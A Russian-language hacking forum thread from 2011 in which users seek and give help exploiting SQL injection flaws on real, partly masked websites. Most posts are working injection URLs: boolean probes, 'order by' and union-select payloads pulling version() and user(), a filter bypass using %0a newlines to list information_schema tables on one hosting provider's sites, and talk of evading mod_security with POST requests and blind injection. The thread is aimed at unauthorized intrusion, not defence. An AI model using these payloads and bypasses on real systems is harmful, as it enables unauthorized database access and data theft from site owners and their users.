Старый 05.06.2011, 18:24   #1041
durito
 
Регистрация: 02.03.2011
Сообщений: 76
Репутация: 2
По умолчанию

не могу осилить скуль http://***.com/album.asp?aid=2642+and+1=1

подскажите пожалуйста

Последний раз редактировалось Twost; 17.05.2013 в 12:36..
durito вне форума   Ответить с цитированием
Старый 05.06.2011, 18:40   #1042
Flakt
 
Аватар для Flakt
 
Регистрация: 18.02.2011
Сообщений: 90
Репутация: 0
По умолчанию

Цитата:
Сообщение от durito Посмотреть сообщение
не могу осилить скуль http://***.com/album.asp?aid=2642+and+1=1

подскажите пожалуйста
http://***.com/photo.asp?aid=2771+order+by+1--+&mid=181209&i=21

http://***.com/photo.asp?aid=2771+order+by+datalength(@@version)+--+&mid=181209&i=21

Последний раз редактировалось Twost; 17.05.2013 в 12:36..
Flakt вне форума   Ответить с цитированием
Старый 05.06.2011, 20:50   #1043
skM
 
Регистрация: 06.07.2010
Сообщений: 95
Репутация: 8
По умолчанию

Интересная скуля попалась Но докрутить не могу
На странице есть такие ссылки:
Цитата:
http://www.site.ru/index.php?id=1
http://www.site.ru/index.php?id=2
http://www.site.ru/index.php?id=3
http://www.site.ru/index.php?id=4
...
При http://www.site.ru/index.php?id=20 uNiOn sElECt 1,2,3,4,5,6,7,8,9,10,11
Открывается http://www.site.ru/index.php?id=11

При http://www.site.ru/index.php?id=20 uNiOn sElECt 1,2,3,4,5,6,7,8,9,10,1
Открывается http://www.site.ru/index.php?id=1
И так далее..
При http://www.site.ru/index.php?id=20 uNiOn sElECt 1,2,3,4,5,6,7,8,9,10,user()
Выводится то же, что и при http://www.site.ru/index.php?id=20 and 1=0

Если кто может помочь - в лс скину линк.
skM вне форума   Ответить с цитированием
Старый 06.06.2011, 04:14   #1044
M_script
 
Регистрация: 06.07.2010
Сообщений: 113
Репутация: 33
По умолчанию

skM, кидай линк
M_script вне форума   Ответить с цитированием
Старый 06.06.2011, 11:30   #1045
durito
 
Регистрация: 02.03.2011
Сообщений: 76
Репутация: 2
По умолчанию

Flakt в слепую крутить?
durito вне форума   Ответить с цитированием
Старый 06.06.2011, 17:43   #1046
fl00der
 
Регистрация: 06.07.2010
Сообщений: 19
Репутация: 0
По умолчанию

Цитата:
Сообщение от skM Посмотреть сообщение
Интересная скуля попалась Но докрутить не могу
На странице есть такие ссылки:

При http://www.site.ru/index.php?id=20 uNiOn sElECt 1,2,3,4,5,6,7,8,9,10,11
Открывается http://www.site.ru/index.php?id=11

При http://www.site.ru/index.php?id=20 uNiOn sElECt 1,2,3,4,5,6,7,8,9,10,1
Открывается http://www.site.ru/index.php?id=1
И так далее..
При http://www.site.ru/index.php?id=20 uNiOn sElECt 1,2,3,4,5,6,7,8,9,10,user()
Выводится то же, что и при http://www.site.ru/index.php?id=20 and 1=0

Если кто может помочь - в лс скину линк.
Мне по описанию кажется, что тут нет никаких скулей, а просто разработчик скрипта как-то неимоверно криво фильтрует.
пробуй ?id=20 Fuck You 11. Уверен, выведет страницу index.php?id=11.
__________________
Егор, Егорушка, Егорка.
О! Я, наконец-то, могу иметь собственную подпись! Да еще какую! Я люблю этот форум.
fl00der вне форума   Ответить с цитированием
Старый 06.06.2011, 17:53   #1047
nobody
 
Аватар для nobody
 
Регистрация: 05.07.2010
Сообщений: 176
Репутация: 130
По умолчанию

Цитата:
Сообщение от fl00der Посмотреть сообщение
Мне по описанию кажется, что тут нет никаких скулей, а просто разработчик скрипта как-то неимоверно криво фильтрует.
пробуй ?id=20 Fuck You 11. Уверен, выведет страницу index.php?id=11.
разработчик скрипта ничего не делает, mod_secure там, обходится постом. Тем не менее слепая,без вывода ошибок
__________________
Sad panda
nobody вне форума   Ответить с цитированием
Старый 11.06.2011, 14:48   #1048
Nightmare
Banned
 
Регистрация: 06.07.2010
Сообщений: 162
Репутация: 10
По умолчанию

SQL:
http://***.ru/old/wooman.php?id=-1+union+select+1,2,version(),4,5,6,7+--+1

защита - хостинг sweb, скорее всего тут без вариантов, но может быть какие то варианты вывести информацию из любой таблицы есть?
POST не канает в данном запросе ;(

Последний раз редактировалось Twost; 17.05.2013 в 12:37..
Nightmare вне форума   Ответить с цитированием
Старый 11.06.2011, 15:03   #1049
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 250
Репутация: 155
По умолчанию

http://***.ru/old/wooman.php?id=-1%0aunion%0aselect%0a1,2,table_name,4,5,6,7%0afrom %0ainformation_schema.tables--+1
__________________
------------------

Последний раз редактировалось Twost; 17.05.2013 в 12:37..
Jokester вне форума   Ответить с цитированием
Старый 11.06.2011, 15:07   #1050
Nightmare
Banned
 
Регистрация: 06.07.2010
Сообщений: 162
Репутация: 10
По умолчанию

Цитата:
Сообщение от Jokester Посмотреть сообщение
http://***.ru/old/wooman.php?id=-1%0aunion%0aselect%0a1,2,table_name,4,5,6,7%0afrom %0ainformation_schema.tables--+1
Большое спасибо, %0A это новый 0day под sweb? Надеюсь черти его не пофиксят.

Последний раз редактировалось Twost; 17.05.2013 в 12:37..
Nightmare вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot